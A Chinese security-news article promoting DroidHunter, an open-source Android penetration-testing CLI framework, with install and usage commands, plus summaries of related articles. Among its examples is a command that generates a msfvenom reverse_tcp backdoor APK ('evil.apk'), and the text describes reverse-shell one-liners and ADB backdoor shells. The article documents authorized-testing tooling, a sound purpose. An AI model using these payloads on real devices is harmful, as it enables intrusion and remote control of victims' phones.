DroidHunter-渗透测试人员的Android安全评估利器"

admin 2026-10-17 14:54:21 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

DroidHunter - 渗透测试人员的 Android 安全评估利器

原创

Violet Walker
Violet Walker

黑白之道

2026年7月23日 08:35
韩国

在小说阅读器读本章

去阅读

导语:DroidHunter 是一款专为授权渗透测试设计的 Android 安全评估框架,一站式整合设备管理、APK 静态分析、漏洞扫描、漏洞利用、报告生成等功能,黑客风格 CLI 界面,适合专业安全研究员使用。


工具背景

DroidHunter 由 HexSec Team / HexSec Community 开发维护,定位是面向授权 Android 安全评估、教育和专业渗透测试工作流的 CLI 工具。开发者同时接受 USDT(ERC-20)捐赠支持。项目托管于 GitHub,完全开源。


核心能力

DroidHunter 提供了八大核心功能模块,覆盖 Android 安全评估的全流程。

设备管理器支持列出设备、获取设备信息、手动/自动 ADB WiFi 连接、截图、logcat、文件传输等操作。APK 静态分析器可进行权限审计、硬编码敏感信息检测(API Key/AWS Key/Firebase 配置)、导出组件检测、CVE 映射、文件哈希计算、混淆检测。网络扫描器提供快速端口扫描、WiFi 信息收集、子网主机发现、 MitM 代理引导。

漏洞扫描器是重头戏,内置 CVE 映射覆盖 Stagefright、BlueBorne、StrandHogg、BlueFrag 等 30+ 已知漏洞,同时支持 Root 检测、Frida 检测、不安全存储检测(SharedPreferences/SQLite)、WebView 检查、任务劫持检测。漏洞利用引擎可启动 Activity、触发 Broadcast、拉取 Content Provider 数据、进行 Deep Link Fuzzer(20+ 路径)、投放 ADB 后门 Shell。

Payload 生成器支持 msfvenom Android APK(reverse\_tcp/reverse\_https)、6 种反弹 Shell 一句话(nc/bash/python3/perl/socat)、ADB 利用脚本、Base64/Hex 混淆。报告生成器输出 Dark glassmorphism 风格 HTML 报告和 JSON 结构化数据,包含 CVE 链接和修复建议。远程控制集成 scrcpy,可直接从交互菜单打开远程屏幕镜像。


系统要求

组件 必需 说明
Python 3.8+ ✅ 运行环境
rich ✅ 终端 UI
requests ✅ HTTP 检测
ADB 可选 设备交互
scrcpy 可选 远程屏幕镜像
Metasploit 可选 APK Payload 生成
Frida 可选 运行时插桩

安装方法

# 克隆仓库
git clone https://github.com/hexsecteam/DroidHunter.git
cd DroidHunter

# 创建虚拟环境
python3 -m venv venv
source venv/bin/activate

# 安装依赖
pip3 install -r requirements.txt

# 可选:安装 ADB(Debian/Ubuntu)
sudo apt install adb

# 可选:安装 scrcpy(远程控制用)
sudo apt install scrcpy

# 运行
python3 droidhunter.py --interactive

常用命令示例:

# 列出设备
python3 droidhunter.py --devices

# 分析 APK + 生成 HTML 报告
python3 droidhunter.py --apk target.apk --report html --target-name \"com.example.app\"

# 端口扫描
python3 droidhunter.py --device ABC123 --port-scan

# 漏洞扫描
python3 droidhunter.py --device ABC123 --vuln-scan --pkg com.example.app

# CVE 检查
python3 droidhunter.py --device ABC123 --cve-check

# 生成 msfvenom APK Payload
python3 droidhunter.py --payload reverse_tcp \\
  --lhost 192.168.1.100 --lport 4444 --payload-out evil.apk

图片版权 华盟网


👇 点击阅读原文,访问我的网站



DroidHunter-渗透测试人员的Android安全评估利器" 网络安全文章

DroidHunter-渗透测试人员的Android安全评估利器"

DroidHunter是HexSecTeam开发的开源Android安全评估CLI框架,整合设备管理、APK静态分析、漏洞扫描与利用、Payload生成及报告输出等八大模块。内置30+已知CVE映射,支持ADB交互与远程控制,适合授权渗透测试。安装依赖Python3.8+及可选组件,提供交互式菜单与命令行操作。
记录一次小程序挖洞经历,感谢小程序,不然这单得黄!!!" 网络安全文章

记录一次小程序挖洞经历,感谢小程序,不然这单得黄!!!"

文章记录了一次针对电商企业小程序的授权渗透测试。作者通过反编译小程序源码,发现云函数鉴权存在严重漏洞:管理员的openid被硬编码在前端代码中,且云函数直接信任前端传参的openid,未进行二次校验。利用此漏洞,攻击者可伪造管理员身份调用所有云函数,导致全量用户数据(手机号、地址、订单等)泄露。文章还提供了挖掘小程序云函数漏洞的实用技巧,如关键词搜索、硬编码openid利用、云函数命名规律猜测等。核心结论是云函数鉴权必须使用微信内部可信的wxContext.OPENID,而非前端传入参数。
评论:0   参与:  0